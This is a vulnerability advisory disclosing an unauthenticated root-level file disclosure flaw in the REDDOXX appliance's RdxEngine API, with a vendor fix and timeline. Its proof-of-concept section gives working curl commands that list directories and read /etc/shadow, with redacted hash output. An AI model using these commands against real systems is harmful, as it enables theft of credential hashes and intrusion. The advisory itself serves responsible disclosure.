Advisory: Arbitrary File Disclosure with root Privileges via RdxEngine-API in REDDOXX Appliance RedTeam Pentesting discovered an arbitrary file disclosure vulnerability in the REDDOXX appliance software, which allows unauthenticated attackers to list directory contents and download arbitrary files from the affected system with root permissions. Details ======= Product: REDDOXX Appliance Affected Versions: Build 2032 / v2.0.625, older versions likely affected too Fixed Versions: Version 2032 SP2 Vulnerability Type: Arbitrary File Disclosure Security Risk: high Vendor URL: https://www.reddoxx.com/ Vendor Status: patch available Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-006 Advisory Status: published CVE: GENERIC-MAP-NOMATCH CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH Introduction ============ "REDDOXX is a leading supplier of solutions for e-mail archiving, encrypted and digitally signed e-mail traffic as well as spam protection. Our focus is on technological innovation: taking our cue from our clientsâ?? requirements our competent and quality-conscious employees strive to offer you the best possible products at all times. Using stringent quality standards and proven processes we keep developing our company and products continuously, with the goal of continuous improvement." (from the vendor's homepage) More Details ============ When using the user frontend of the REDDOXX appliance [0] reachable via http://www.example.com/rws/user/, HTTP POST requests are used to perform certain actions. For example, the following request is used to save the settings of the current user's profile: ------------------------------------------------------------------------ POST /RdxEngine/json HTTP/1.1 Host: www.example.com [...] Content-Type: application/x-www-form-urlencoded Content-Length: 210 Connection: close { "method": "CoreService.SaveUserProfile", "params": { "Profile": { "UseHtmlMail": true, "DefaultArchiveDisplayPeriode": "5", "ReportLanguage": "en", "EnableQueueReport": true } }, "id": "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}" } ------------------------------------------------------------------------ Through analysis of the .NET binaries pertaining to this endpoint, extracted from the appliance ISO offered on the vendor's homepage [1], the methods handling these requests were examined. For the "SaveUserProfile" method, which is specified through the POST parameter "method", the code is as follows: ------------------------------------------------------------------------ // Reddoxx.Api.Legacy.CoreServiceService public void SaveUserProfile(TRoUserProfile Profile) { try { this.client.OnStartRequest("CoreService", "SaveUserProfile"); this.Service.SaveUserProfile(Profile); this.client.OnEndRequest("CoreService", "SaveUserProfile"); } catch (System.Exception e) { this.client.HandleException("CoreService", "SaveUserProfile", e); } } ------------------------------------------------------------------------ The "TroUserProfile" class contains information about the parameters that are required for valid requests to this method: ------------------------------------------------------------------------ namespace Reddoxx.Api.Legacy { [...] public class TRoUserProfile : ComplexType { private string __ReportLanguage; private int __DefaultArchiveDisplayPeriode; private bool __EnableQueueReport; private bool __UseHtmlMail; [...] } } ------------------------------------------------------------------------ These variable names correspond to the POST parameters contained in the request that was created when the profile was saved. With this knowledge about how methods are called and parameters are passed, it was attempted to call other methods from different packages. It was determined that it is possible to access certain methods which allow reading arbitrary files and directory listings. It was later discovered that the process handling requests to the vulnerable methods runs with root privileges. Proof of Concept ================ At least two methods are found to be of interest for attackers: FileTransfer.GetDirectoryList, which returns a directory listing for a path specified via a parameter, and FileTransfer.DownloadFile, which returns the file specified via a parameter in Base64-encoded form. The following curl command-lines can be used to call the respective methods: ------------------------------------------------------------------------ $ curl --silent --data-binary '{"id":"{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",''"method":"FileTransfer .GetDirectoryList","params":{"Directory": "/etc/"}}' 'http://www.example.com/RdxEngine/json' | jq '.result.FileInfoList[].FileName' "chatscripts" "gtk-2.0" "xen" "dbus-1" "request-key.d" "smartmontools" "console" "skel" "xml" "initramfs-tools" "sysctl.d" "pear" "sudoers.d" "cron.monthly" "rc5.d" "init" "byobu" "pki" "xpdf" "cron.weekly" "snmp" "ld.so.conf.d" [...] ------------------------------------------------------------------------ Since the process handling the requests runs with root privileges, it was also possible to read the contents of the file "/etc/passwd": ------------------------------------------------------------------------ $ curl --silent --data-binary '{"id":"{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",''"method":"FileTransfer .DownloadFile","params":{"FileName": "/etc/shadow",''"Sequence": 1,"ChunkSize": 10000}}' 'http://www.example.com/RdxEngine/json' | jq -r .result.ChunkData | tr -d '\r\n' | base64 -d root:$6$XXXXXXXX$YYYYYYY[...]YYYYYYYY:14993:0:99999:7::: daemon:*:16652:0:99999:7::: bin:*:16652:0:99999:7::: sys:*:16652:0:99999:7::: sync:*:16652:0:99999:7::: games:*:16652:0:99999:7::: man:*:16652:0:99999:7::: lp:*:16652:0:99999:7::: mail:*:16652:0:99999:7::: news:*:16652:0:99999:7::: uucp:*:16652:0:99999:7::: proxy:*:16652:0:99999:7::: www-data:*:16652:0:99999:7::: backup:*:16652:0:99999:7::: list:*:16652:0:99999:7::: irc:*:16652:0:99999:7::: gnats:*:16652:0:99999:7::: nobody:*:16652:0:99999:7::: libuuid:!:16652:0:99999:7::: syslog:*:16652:0:99999:7::: messagebus:*:16899:0:99999:7::: sshd:*:16899:0:99999:7::: vboxadd:!:16899:::::: statd:*:16899:0:99999:7::: admin:$1$XXXXXXXX$ZZZZZZZZZZZZZZZZZZZZZZ:14054:0:99999:7::: clamav:!:16899:0:99999:7::: ntp:*:16899:0:99999:7::: hacluster:!:16899:0:99999:7::: firebird:*:16899:0:99999:7::: redis:!:16899:0:99999:7::: snmp:*:16899:0:99999:7::: bind:*:16899:0:99999:7::: smbadmin:!:17037:0:99999:7::: smbuser:!:17037:0:99999:7::: ------------------------------------------------------------------------ Workaround ========== None Fix === Update the appliance software to Version 2032 SP2. Security Risk ============= Attackers with access to a REDDOXX appliance are able to retrieve directory listings and content of arbitrary files. Although this vulnerability requires attackers to submit a valid session ID, the vulnerabilities described in rt-sa-2017-004 [2] and rt-sa-2017-005 [3] show how this requirement can be fulfilled even by attackers without valid credentials. Additionally, the RdxEngine process handling the requests to the vulnerable methods runs with root privileges, allowing attackers to read any file on the filesystem and, for example, extract the local user hashes for offline brute-force attacks. This vulnerability is therefore rated as a high risk. Timeline ======== 2017-05-17 Vulnerability identified 2017-05-23 Customer approved disclosure of vulnerability 2017-05-26 Customer provided details of vulnerability to vendor 2017-07-20 Vulnerability reported as fixed by vendor 2017-07-24 Advisory released References ========== [0] https://www.reddoxx.com/en/ [1] https://my.reddoxx.com/documents/manual/en/custdl/product-downloads (Requires login) [2] https://www.redteam-pentesting.de/advisories/rt-sa-2017-004 [3] https://www.redteam-pentesting.de/advisories/rt-sa-2017-005 RedTeam Pentesting GmbH ======================= RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories. More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/ # Iranian Exploit DataBase = http://IeDb.Ir [2017-07-23]